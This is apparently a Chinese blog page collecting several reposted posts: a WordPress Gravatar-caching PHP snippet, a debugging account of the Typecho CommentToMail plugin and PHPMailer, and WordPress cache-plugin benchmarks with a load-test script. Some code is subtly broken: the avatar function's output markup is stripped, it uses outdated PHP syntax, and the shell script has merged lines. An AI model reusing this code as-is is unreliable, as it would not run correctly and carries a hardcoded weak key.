打开主题目录下的 functions.php,在 之间插入以下代码,如果你已经用了 Willin Kan 的代码,请替换:

function my_avatar( $email, $size = '40', $default = '', $alt = false ) {
    $alt = ( false === $alt ) ? '' : esc_attr( $alt );
    $hash = md5( strtolower( $email ) );
    $wpurl = get_bloginfo( 'wpurl' );
    $out = $wpurl . '/wp-content/avatar/' . $hash; // 缓存头像的 URL
    $cachepath = ABSPATH . 'wp-content/avatar/' . $hash; // 缓存头像位于硬盘的位置
    $t = 1209600; // 设定 14 天, 单位: 秒
    $default = $wpurl . '/wp-content/avatar/default.png'; // 缺省头像的位置
    if ( !is_file( $cachepath ) || ( time() - filemtime( $cachepath ) ) > $t ){ // 当头像不存在或文件超过 14 天才更新
        $rating = get_option( 'avatar_rating' );
        $gravatarpath = "http://www.gravatar.com/avatar/$hash?s=$size&d=$default&r=$rating";
        $key = '123456'; // $key 为刚刚用于异步下载的 PHP 文件中设定的验证码
        $fp = fsockopen( $_SERVER['HTTP_HOST'], 80, &$errno, &$errstr, 5 ); // 建立 Socket 连接
        if ( $fp ) {
            $encoded = "hash={$hash}&s={$size}&r={$rating}&key=" . urlencode( $key );
            fputs( $fp, "POST ".get_bloginfo('wpurl')."/wp-content/themes/beam/gravatar.php HTTP/1.0\n" ); // 用于异步下载的 PHP 文件 URL
            fputs( $fp, "Host: ".$_SERVER['HTTP_HOST']."\n" );
            fputs( $fp, "Content-type: application/x-www-form-urlencoded\n" );
            fputs( $fp, "Content-length: " . strlen($encoded)."\n" );
            fputs( $fp, "Connection: close\n\n" );
            fputs( $fp, "$encoded\n" );
            fclose( $fp );
        }
        $out = esc_attr( $gravatarpath );
    }
    $avatar = "{$alt}";
    return apply_filters( 'my_avatar', $avatar, $email, $size, $default, $alt );
}

几点说明:

请将 $key 改为与第一步中指定的验证码一致,否则程序不能工作;
该函数调用方式与 WordPress 自带 get_avatar 已不相同;
get_avatar 语法:

get_avatar( $id_or_email, $size = '', $default = '' , $alt = '' );

my_avatar 语法:

my_avatar( $comment->comment_author_email, $size = '', $default = '' , $alt = '' );

您也可以将 WordPress 自带 get_avatar 复制并改造以保持原有功能;

按照以上变更的调用方式,将所有主题模板中出现的 get_avatar() 修改为 my_avatar(),「大概是 functions.php,comments.php,sidebar.php,comments-ajax.php 会有头像的地方有 get_avatar() 函数。」

四、测试

如果把文件放在与本文给出的位置不一样的地方,要修改的地方会比较多,最好在本地测试完成后上传到服务器。

转自http://beamnote.com/2010/asynchronous-implementation-of-the-gravatar-cache.html

CommentToMail代码分析与调试

CommentToMail 是typecho的一个基于 PHPMailer 的评论通知插件, 本文讨论基于1.2.3

===========================
一. 使用PHPMailer 发送邮件:

PHPMailer 包含3个文件:

class.smtp.php 发送邮件用的,php socket 实现smtp协议
class.pop3.php 接受邮件用的
class.phpmailer.php PHPMailer类

有3种邮件发送模式: smtp, mail, sendmail.

从 class.phpmailer.php 文件中

359
/**
360
 * Sets Mailer to send message using SMTP.
361
 * @return void
362
 */
363
public function IsSMTP() {
364
  $this->Mailer = 'smtp';
365
}
366
 
367
/**
368
 * Sets Mailer to send message using PHP mail() function.
369
 * @return void
370
 */
371
public function IsMail() {
372
  $this->Mailer = 'mail';
373
}
374
 
375
/**
376
 * Sets Mailer to send message using the $Sendmail program.
377
 * @return void
378
 */
379
public function IsSendmail() {
380
  if (!stristr(ini_get('sendmail_path'), 'sendmail')) {
381
    $this->Sendmail = '/var/qmail/bin/sendmail';
382
  }
383
  $this->Mailer = 'sendmail';
384
}
385
 
386
/**
387
 * Sets Mailer to send message using the qmail MTA.
388
 * @return void
389
 */
390
public function IsQmail() {
391
  if (stristr(ini_get('sendmail_path'), 'qmail')) {
392
    $this->Sendmail = '/var/qmail/bin/sendmail';
393
  }
394
  $this->Mailer = 'sendmail';
395
}

可知:

smtp 模式最为常用,直接配置好smtp服务器相关参数,就可以发送邮件了

mail 模式调用php自带mail函数来发送邮件,需要运行环境有邮件服务器.

sendmail 模式调用外部二进制程序(sendmail 或 qmail 或php.ini 中 sendmail_path指定)来发送邮件,据
/var/qmail/bin/sendmail 和 /var/qmail/bin/sendmail 可以推测,这个功能一般是在linux服务器上用的,
win服务器就不瞎琢磨了.

windows服务器,又不带邮件服务,综上,只有 smtp模式最靠谱了.

常用smtp邮件服务器:

website ssl host port user pass
mail.yeah.net false smtp.yeah.net 25 user=xxx@yeah.net(或xxx) ***
mail.163.com false smtp.163.com 25 user=xxx@163.com(或xxx) ***
exmail.qq.com false smtp.exmail.qq.com 25 user=xxx@yourdomain ***
(ssl的我没写,因为我测试没成功- -!!)

首先直接写一段代码调用PHPMailer发送邮件,以确定参数配置正确、”最小系统”正常工作.

本地测试正常,拿到服务器发现

1. PHP Warning: set_time_limit() has been disabled for security reasons,

这句意义不是很大,直接@或去掉.

2. SMTP Error: Could not connect to SMTP host.

发现是服务器禁用 fsockopen 所致, 将 class.smtp.php 中 @fsockopen 替换为 @pfscokopen (还好服务器没有禁用这个),发现可以正常发邮件了.

注: CommentToMail 1.2.3 附带的 class.smtp.php 里面就是@fsockopen,遇到此错误可以尝试此法.
还有 Plugin.php 中 SendMail() 中也用到了 fsockopen.

===========================
二. CommentToMail 代码分析:

①何时发送邮件

CommentToMail 插件 添加 finishComment 回调函数, CommentToMail_Plugin::toMail()
即 评论完成时 调用 toMail() 这个函数.

②如何发送邮件

toMail() 这个函数实现的功能就是 根据本条评论的信息 生成邮件信息(发送给谁,内容是什么,等)
并调用 SendMail() 来发送邮件, 之间数据通过临时文件(明白了cache目录的用处了)(gzdeflate,serialize) 和get来传递.

③SendMail() 做了什么?

它通过fsockopen GET 方式把包含邮件内容的临时文件的名字 传递给 /CommentToMail/send_mail.php

④send_mail.php 文件做了什么?

它通过替换 邮件模板 中关键词,产生邮件内容, 并创建 PHPMailer 实例,调用其 Send() 方法把邮件发送出去.

⑤PHPMailer

通过 socket 构造stmp协议,发出邮件.

===========================
三. CommentToMail 调试

因为评论完成时通过get方式调用 send_mail.php 执行, 所以客户端看不到 send_mail.php 的执行结果,不便调试,了解了其原理,可以 注释掉 send_mail.php 中 @unlink($file) 来保存临时文件以供分析和调试.

在typecho中完成一条评论,然后查看cache 目录内临时文件名称,

在 $smtp= unserialize(gzinflate(file_get_contents($file))); 后添加 print_r($smtp) 以查看临时文件内容
浏览器 访问 usr/plugins/CommentToMail/send_mail.php?mail=XXXX (其中XXXX=base64_encode($filename))

又发现服务器gzinflate被禁用- -!!.

于是干脆去掉gzdeflate,即

把 Plugin.php 中

    file_put_contents('./usr/plugins/CommentToMail/cache/'.$filename, gzdeflate(serialize($smtp))); 改为
    file_put_contents('./usr/plugins/CommentToMail/cache/'.$filename, serialize($smtp));

把 send_mail.php 中

    $smtp= unserialize(gzinflate(file_get_contents($file))); 改为
    $smtp= unserialize(file_get_contents($file));

再次在typecho中评论,产生新的临时文件,并在浏览器中访问 send_mail.php?mail=XXXX

发现可以正常读到 临时文件内容了,检查参数配置无误,邮件也发送成功了.

然后又发现当同时发送给被评论者和文章作者时, 邮件发送又不灵了, 先发的邮件总是能够成功,后法的一个总是失败.

调换 send_mail.php 中 向博主发信,向访客发信 的先后次序,仍是后一个失败.

开始想是不是因为服务器禁用 set_time_limit, 后面那个邮件发送超时了?

在send_mail.php 中各处添加时间检查,输出结果如下:

————————–

0.000: 将要载入phpmailer.
0.007: 载入phpmailer完毕.

0.009: 将要向访客发信
2012-04-04 18:51:02 向 yyyyy@163.com 发送邮件成功!
0.715: 向访客发信完毕

0.716: 将要向博主发信
SMTP Error: Could not authenticate.
2012-04-04 18:52:02 向 aaaaa@yurenchen.com 发送邮件错误: SMTP Error: Could not authenticate.
60.887: 向博主发信完毕

————————–

可以看到第一封邮件基本是秒发出去的,第二封消耗了60秒时间,并最终发送失败.

于是看了下PHPMailer 自带的smtp发送示例 test_db_smtp_basic.php , 大致流程是

new PHPMailer();

设置smtp 参数;

while(){
设置邮件参数;
Send();
ClearAddresses();
ClearAttachments();
}

再对比 send_mail.php, 发现

每次在send函数中创建 PHPMailer 实例, 并用$mail=NULL;销毁实例(插件作者大概也是用惯了JavaScript – -!!),

于是找找 PHPMailer 类的析构方法,发现没有.

于是把 $mail = new PHPMailer(); 拿到 send 函数外面,

并在 send 函数结尾添加

$mail->ClearAddresses();
$mail->ClearAttachments();

以清除接收邮箱地址 和 附件.

再次在浏览器访问 send_mail.php?mail=XXXX

输出结果:

——————————

0.000: 将要载入phpmailer.
0.008: 载入phpmailer完毕.

0.009: 将要向访客发信
2012-04-04 19:14:24 向 yyyyy@163.com 发送邮件成功!
0.588: 向访客发信完毕

0.588: 将要向博主发信
2012-04-04 19:14:24 向 aaaaa@yurenchen.com 发送邮件成功!
0.944: 向博主发信完毕

——————————-

直接秒发了,内牛满面啊 (T_T)

原来 send_mail.php 中这句 set_time_limit(0); 是这么悲剧来的啊

===========================
四. 关于CommentToMail 1.2.4

相对于1.2.3 的改动主要有以下几点,不过似乎引入的问题比解决的问题还多,但依然感谢带给我们CommentToMail插件的DEFE.

① 在 class.smtp.php 和 Plugin.php 中添加了 fsockopen 容错,

fsockopen 失败则尝试 pfsockopen,

再失败则尝试 stream_socket_client,

再失败 就要报错了:Failed to connect to server

② class.phpmailer.php中 IsSMTP 函数中 ‘smtp’ 修改成了 ‘SMTP’, 这一招似乎是江湖传言,

查看 class.phpmailer.php 代码:

571
// Choose the mailer and send through it
572
switch($this->Mailer) {
573
  case 'sendmail':
574
    return $this->SendmailSend($header, $body);
575
  case 'smtp':
576
    return $this->SmtpSend($header, $body);
577
  default:
578
    return $this->MailSend($header, $body);
579
}

产生的影响就是switch分支总是default,

就是PHPMailer总是用 mail 模式发信,这个在大部分服务器上应该都不能用.

③ send_mail.php 中 引入 class.phpmailer.php 的操作放到了 send 函数中,

不是一上来就载入class.phpmailer.php 文件,而是等到需要时才载入,来提高执行效率.

但是用的是 require 包含文件,当同时发送邮件给博主和被评论者时,两次调用send函数必然报错:

PHP Fatal error: Cannot redeclare class phpmailerException

④ 临时文件动态加密解密函数 mcode 疑似有问题, 没有仔细看加密算法,

直接去掉加密解密过程就可以用,加上则解密时失败.

仍然延续的问题:

① PHPMailer 实例化仍在 send 函数中进行, 导致发送第二封邮件时失败.

好吧,上传了调试后的代码: CommentToMail.rar

转载须注明出处: http://www.yurenchen.com/14.htm

wordpress高负载加速利器Varnish

由于有用wordpress做站的冲动,就看了一下wordpress对大数据高负载时候的解决方法,看起来wordpress对高负载唯一的办法,只能是上Varnish了,特此记录一下。
Varnish要配合使用WordPress Varnish插件,还要优化配置才能够达到最好的效果,由于没有相应的站测试,只能贴一些测试。

WordPress 缓存插件性能对比

虽然原生态的 WordPress 效率实在底下,但是 WordPress 提供了很多插件,国外服务器领域里也有很多开源的缓存软件,这几天在 Jerry的帮忙下,萝卜网的服务器用上了 Varnish 缓存加速,现在每天轻松应付流量,系统的负载也不再升高,呵呵。这里贴一篇国外高手的文章,一些主流的 WordPress 缓存插件,以及和用上 Varnish 的 WordPress 性能的对比。

原文:《WordPress Cache Plugin Benchmarks》
http://cd34.com/blog/scalability/wordpress-cache-plugin-benchmarks/

译文:《WordPress 缓存插件性能对比》,译文网址已经失效。

1、作者使用的插件下载以及版本号:
DB Cache (version 0.6)
DB Cache Reloaded (version 2.0.2)
W3 Total Cache (version 0.8.5.1)
WP Cache (version 2.1.2)
WP Super Cache (version 0.9.9)
WP Widget Cache (version 0.25.2)
WP File Cache(version 1.2.5)
WP Varnish (in beta)
WP Varnish ESI Widget (in beta)

2、生产环境:
Debian 3.1/Squeeze VPS
Linux Kernel 2.6.33
Single core of a Xen Virtualized Xeon X3220 (2.40ghz)
2gb RAM
CoW file is written on a Raid-10 System using 4x1tb 7200RPM Drives
Apache 2.2.14 mpm-prefork
PHP 5.3.1
WordPress 官方主题测试数据
Tests are performed from a Quadcore Xeon machine connected via 1000 Base T on the same switch and /24 as the VPS machine

3、测试使用的Bash代码:

#!/bin/shFETCHES=1000
PARALLEL=10/usr/sbin/apache2ctl stop
/etc/init.d/mysql restart
apache2ctl start
echo Sleeping
sleep 30
time ( \
echo First Run; \
ab -n $FETCHES -c $PARALLEL http://example.com/; \
echo Second Run; \
ab -n $FETCHES -c $PARALLEL http://example.com/; \
\
echo First Run; \
./http_load -parallel $PARALLEL -fetches $FETCHES wordpresstest; \
echo Second Run; \
./http_load -parallel $PARALLEL -fetches $FETCHES wordpresstest; \
)

4、测试以下 URL 的 http_load:
http://example.com/
http://example.com/2010/03/hello-world/
http://example.com/2008/09/layout-test/
http://example.com/2008/04/simple-gallery-test/
http://example.com/2007/12/category-name-clash/
http://example.com/2007/12/test-with-enclosures/
http://example.com/2007/11/block-quotes/
http://example.com/2007/11/many-categories/
http://example.com/2007/11/many-tags/
http://example.com/2007/11/tags-a-and-c/
http://example.com/2007/11/tags-b-and-c/
http://example.com/2007/11/tags-a-and-b/
http://example.com/2007/11/tag-c/
http://example.com/2007/11/tag-b/
http://example.com/2007/11/tag-a/
http://example.com/2007/09/tags-a-b-c/
http://example.com/2007/09/raw-html-code/
http://example.com/2007/09/simple-markup-test/
http://example.com/2007/09/embedded-video/
http://example.com/2007/09/contributor-post-approved/
http://example.com/2007/09/one-comment/
http://example.com/2007/09/no-comments/
http://example.com/2007/09/many-trackbacks/
http://example.com/2007/09/one-trackback/
http://example.com/2007/09/comment-test/
http://example.com/2007/09/a-post-with-multiple-pages/
http://example.com/2007/09/lorem-ipsum/
http://example.com/2007/09/cat-c/
http://example.com/2007/09/cat-b/
http://example.com/2007/09/cat-a/
http://example.com/2007/09/cats-a-and-c/

5、最终性能对比:
Sorted in Ascending order in terms of higher overall performance

Addon Apachebench Cold Start
Warm Start http_load Cold Start
Warm Start
Req/Second Time/Request 50% within x ms Fetches/Second Min First Response Avg First Response
Baseline 4.97 201.006 2004 15.1021 335.708 583.363
5.00 200.089 2000 15.1712 304.446 583.684
DB Cache 4.80 208.436 2087 15.1021 335.708 583.363
Cached all SQL queries 4.81 207.776 2091 15.1712 304.446 583.684
DB Cache 4.87 205.250 2035 14.1992 302.335 621.092
Out of Box config 4.94 202.624 2026 14.432 114.983 618.434
WP File Cache 4.95 201.890 2009 15.8869 158.597 549.176
4.99 200.211 2004 16.1758 99.728 544.107
DB Cache Reloaded 5.02 199.387 1983 15.0167 187.343 589.196
All SQL Queries Cached 5.03 200.089 1985 14.9233 150.145 586.443
DB Cache Reloaded 5.06 197.636 1968 14.9697 174.857 589.161
Out of Box config 5.08 196.980 1968 15.181 257.533 587.737
Widgetcache 6.667 149.903 1492 15.0264 245.332 602.039
6.72 148.734 1487 15.1887 299.65 598.017
W3 Total Cache 153.45 65.167 60 133.1898 8.916 85.7177
DB Cache off, Page Caching with Memcached 169.46 59.011 57 188.4 9.107 50.142
W3 Total Cache 173.49 57.639 52 108.898 7.668 86.4077
DB Cache off, Minify Cache with Memcached 189.76 52.698 48 203.522 8.122 43.8795
W3 Total Cache 171.34 58.364 50 203.718 8.097 44.1234
DB Cache using Memcached 190.01 52.269 48 206.187 8.186 42.4438
W3 Total Cache 175.29 57.048 48 87.423 7.515 107.973
Out of Box config 191.15 52.314 47 204.387 8.288 43.217
W3 Total Cache 175.29 57.047 51 204.557 8.199 42.9365
Database Cache using APC 191.19 52.304 48 200.612 8.11 44.6691
W3 Total Cache 114.02 87.703 49 114.393 8.206 82.0678
Database Cache Disabled 191.76 52.150 49 203.781 8.095 42.558
W3 Total Cache 175.80 56.884 51 107.842 7.281 87.2761
Database Cache Disabled, Minify Cache using APC 192.01 52.082 50 205.66 8.244 43.1231
W3 Total Cache 104.90 95.325 51 123.041 7.868 74.5887
Database Cache Disabled, Page Caching using APC 197.55 50.620 46 210.445 7.907 41.4102
WP Super Cache 336.88 2.968 16 15.1021 335.708 583.363
Out of Box config, Half On 391.59 2.554 16 15.1712 304.446 583.684
WP Cache 161.63 6.187 12 15.1021 335.708 583.363
482.29 20.735 11 15.1712 304.446 583.684
WP Super Cache 919.11 1.088 3 190.117 1.473 47.9367
Full on, Lockdown mode 965.69 1.036 3 975.979 1.455 9.67185
WP Super Cache 928.45 1.077 3 210.106 1.468 43.8167
Full on 970.45 1.030 3 969.256 1.488 9.78753
W3 Total Cache 1143.94 8.742 2 165.547 0.958 56.7702
Page Cache using Disk Enhanced 1222.16 8.182 3 1290.43 0.961 7.15632
W3 Total Cache 1153.50 8.669 3 165.725 0.916 56.5004
Page Caching – Disk Enhanced, Minify/Database using APC 1211.22 8.256 2 1305.94 0.948 6.97114
Varnish ESI 2304.18 0.434 4 349.351 0.221 28.1079
2243.33 0.44689 4 4312.78 0.152 2.09931
WP Varnish 1683.89 0.594 3 369.543 0.155 26.8906
3028.41 0.330 3 4318.48 0.148 2.15063
6、总结:
Varnish 用来做缓存,因为是内存级别的,读取速度相当之快,所有其他的缓存插件都是浮云,唯一能媲美的是启用了Page Caching – Disk (Enhanced), Minify Caching – Alternative PHP Cache (APC), Database Caching – Alternative PHP Cache (APC)的 W3 Total Cache 插件。

萝卜网目前使用的方案是 Nginx (82端口) + Varnish (反向监听81)+ Nginx (再反向监听80),当然也可以尝试 Apache (82)+ Varnish(81) + Nginx (80),具体怎么配置就不是本文的讨论范围了。

至于为什么不用 Apache (81) + Nginx (80),因为 Nginx 用来做反向代理+缓存加速的话,是在硬盘读取的,而Varnish直接读取内存,速度明显加快,唯一头疼的就是太损耗内存,服务器8G的内存瞬间跑满,看来得花钱加大内存了 T_T

英文版转载

WordPress Cache Plugin Benchmarks
A lot of time and effort goes into keeping a WordPress site alive when it starts to accumulate traffic. While not every site has the same goals, keeping a site responsive and online is the number one priority. When a surfer requests the page, it should load quickly and be responsive. Each addon handles caching a little differently and should be used in different cases.

For many sites, page caching will provide decent performance. Once your sites starts receiving comments, or people log in, many cache solutions cache too heavily or not enough. As many solutions as there are, it is obvious that WordPress underperforms in higher traffic situations.

The list of caching addons that we’re testing:

* DB Cache (version 0.6)
* DB Cache Reloaded (version 2.0.2)
* W3 Total Cache (version 0.8.5.1)
* WP Cache (version 2.1.2)
* WP Super Cache (version 0.9.9)
* WP Widget Cache (version 0.25.2)
* WP File Cache(version 1.2.5)
* WP Varnish (in beta)
* WP Varnish ESI Widget (in beta)

What are we testing?
* Frontpage hits
* httpload through a series of urls

We take two measurements. The cold start measurement is taken after any plugin cache has been cleared and Apache2 and MySQL have been restarted. A 30 second pause is inserted prior to starting the tests. We perform a frontpage hit 1000 times with 10 parallel connections. We then repeat that test after Apache2 and the caching solution have had time to cache that page. Afterwards, http_load requests a series of 30 URLs to simulate people surfing other pages. Between those two measurements, we should have a pretty good indicator of how well a site is going to perform in real life.

What does the Test Environment look like?
* Debian 3.1/Squeeze VPS
* Linux Kernel 2.6.33
* Single core of a Xen Virtualized Xeon X3220 (2.40ghz)
* 2gb RAM
* CoW file is written on a Raid-10 System using 4x1tb 7200RPM Drives
* Apache 2.2.14 mpm-prefork
* PHP 5.3.1
* WordPress Theme Test Data
* Tests are performed from a Quadcore Xeon machine connected via 1000 Base T on the same switch and /24 as the VPS machine

This setup is designed to replicate what most people might choose to host a reasonably popular wordpress site.

tl;dr Results
If you aren’t using Varnish in front of your web site, the clear winner is W3 Total Cache using Page Caching – Disk (Enhanced), Minify Caching – Alternative PHP Cache (APC), Database Caching – Alternative PHP Cache (APC).

If you can use Varnish, WP Varnish would be a very simple way to gain quite a bit of performance while maintaining interactivity. WP Varnish purges the cache when posts are made, allowing the site to be more dynamic and not suffer from the long cache delay before a page is updated.

W3 Total Cache has a number of options and sometimes settings can be quite detrimental to site performance. If you can’t use APC caching or Memcached for caching Database queries or Minification, turn both off. W3 Total Cache’s interface is overwhelming but the plugin author has indicated that he’ll be making a new ‘Wizard’ configuration menu in the next version along with Fragment Caching.

WP Super Cache isn’t too far behind and is also a reasonable alternative.

Either way, if you want your site to survive, you need to use a cache addon. Going from 2.5 requests per second to 800+ requests per second makes a considerable difference in the usability of your site for visitors. Logged in users and search engine bots still see uncached/live results, so, you don’t need to worry that your site won’t be indexed properly.

Results
Sorted in Ascending order in terms of higher overall performance

Addon Apachebench Cold Start
Warm Start http_load Cold Start
Warm Start
Req/Second Time/Request 50% within x ms Fetches/Second Min First Response Avg First Response
Baseline 4.97 201.006 2004 15.1021 335.708 583.363
5.00 200.089 2000 15.1712 304.446 583.684
DB Cache 4.80 208.436 2087 15.1021 335.708 583.363
Cached all SQL queries 4.81 207.776 2091 15.1712 304.446 583.684
DB Cache 4.87 205.250 2035 14.1992 302.335 621.092
Out of Box config 4.94 202.624 2026 14.432 114.983 618.434
WP File Cache 4.95 201.890 2009 15.8869 158.597 549.176
4.99 200.211 2004 16.1758 99.728 544.107
DB Cache Reloaded 5.02 199.387 1983 15.0167 187.343 589.196
All SQL Queries Cached 5.03 200.089 1985 14.9233 150.145 586.443
DB Cache Reloaded 5.06 197.636 1968 14.9697 174.857 589.161
Out of Box config 5.08 196.980 1968 15.181 257.533 587.737
Widgetcache 6.667 149.903 1492 15.0264 245.332 602.039
6.72 148.734 1487 15.1887 299.65 598.017
W3 Total Cache 153.45 65.167 60 133.1898 8.916 85.7177
DB Cache off, Page Caching with Memcached 169.46 59.011 57 188.4 9.107 50.142
W3 Total Cache 173.49 57.639 52 108.898 7.668 86.4077
DB Cache off, Minify Cache with Memcached 189.76 52.698 48 203.522 8.122 43.8795
W3 Total Cache 171.34 58.364 50 203.718 8.097 44.1234
DB Cache using Memcached 190.01 52.269 48 206.187 8.186 42.4438
W3 Total Cache 175.29 57.048 48 87.423 7.515 107.973
Out of Box config 191.15 52.314 47 204.387 8.288 43.217
W3 Total Cache 175.29 57.047 51 204.557 8.199 42.9365
Database Cache using APC 191.19 52.304 48 200.612 8.11 44.6691
W3 Total Cache 114.02 87.703 49 114.393 8.206 82.0678
Database Cache Disabled 191.76 52.150 49 203.781 8.095 42.558
W3 Total Cache 175.80 56.884 51 107.842 7.281 87.2761
Database Cache Disabled, Minify Cache using APC 192.01 52.082 50 205.66 8.244 43.1231
W3 Total Cache 104.90 95.325 51 123.041 7.868 74.5887
Database Cache Disabled, Page Caching using APC 197.55 50.620 46 210.445 7.907 41.4102
WP Super Cache 336.88 2.968 16 15.1021 335.708 583.363
Out of Box config, Half On 391.59 2.554 16 15.1712 304.446 583.684
WP Cache 161.63 6.187 12 15.1021 335.708 583.363
482.29 20.735 11 15.1712 304.446 583.684
WP Super Cache 919.11 1.088 3 190.117 1.473 47.9367
Full on, Lockdown mode 965.69 1.036 3 975.979 1.455 9.67185
WP Super Cache 928.45 1.077 3 210.106 1.468 43.8167
Full on 970.45 1.030 3 969.256 1.488 9.78753
W3 Total Cache 1143.94 8.742 2 165.547 0.958 56.7702
Page Cache using Disk Enhanced 1222.16 8.182 3 1290.43 0.961 7.15632
W3 Total Cache 1153.50 8.669 3 165.725 0.916 56.5004
Page Caching – Disk Enhanced, Minify/Database using APC 1211.22 8.256 2 1305.94 0.948 6.97114
Varnish ESI 2304.18 0.434 4 349.351 0.221 28.1079
2243.33 0.44689 4 4312.78 0.152 2.09931
WP Varnish 1683.89 0.594 3 369.543 0.155 26.8906
3028.41 0.330 3 4318.48 0.148 2.15063
Test Script

#!/bin/sh

FETCHES=1000
PARALLEL=10

/usr/sbin/apache2ctl stop
/etc/init.d/mysql restart
apache2ctl start
echo Sleeping
sleep 30
time ( \
echo First Run; \
ab -n $FETCHES -c $PARALLEL http://example.com/; \
echo Second Run; \
ab -n $FETCHES -c $PARALLEL http://example.com/; \
\
echo First Run; \
./http_load -parallel $PARALLEL -fetches $FETCHES wordpresstest; \
echo Second Run; \
./http_load -parallel $PARALLEL -fetches $FETCHES wordpresstest; \
)

URL File for http_load

http://example.com/
http://example.com/2010/03/hello-world/
http://example.com/2008/09/layout-test/
http://example.com/2008/04/simple-gallery-test/
http://example.com/2007/12/category-name-clash/
http://example.com/2007/12/test-with-enclosures/
http://example.com/2007/11/block-quotes/
http://example.com/2007/11/many-categories/
http://example.com/2007/11/many-tags/
http://example.com/2007/11/tags-a-and-c/
http://example.com/2007/11/tags-b-and-c/
http://example.com/2007/11/tags-a-and-b/
http://example.com/2007/11/tag-c/
http://example.com/2007/11/tag-b/
http://example.com/2007/11/tag-a/
http://example.com/2007/09/tags-a-b-c/
http://example.com/2007/09/raw-html-code/
http://example.com/2007/09/simple-markup-test/
http://example.com/2007/09/embedded-video/
http://example.com/2007/09/contributor-post-approved/
http://example.com/2007/09/one-comment/
http://example.com/2007/09/no-comments/
http://example.com/2007/09/many-trackbacks/
http://example.com/2007/09/one-trackback/
http://example.com/2007/09/comment-test/
http://example.com/2007/09/a-post-with-multiple-pages/
http://example.com/2007/09/lorem-ipsum/
http://example.com/2007/09/cat-c/
http://example.com/2007/09/cat-b/
http://example.com/2007/09/cat-a/
http://example.com/2007/09/cats-a-and-c/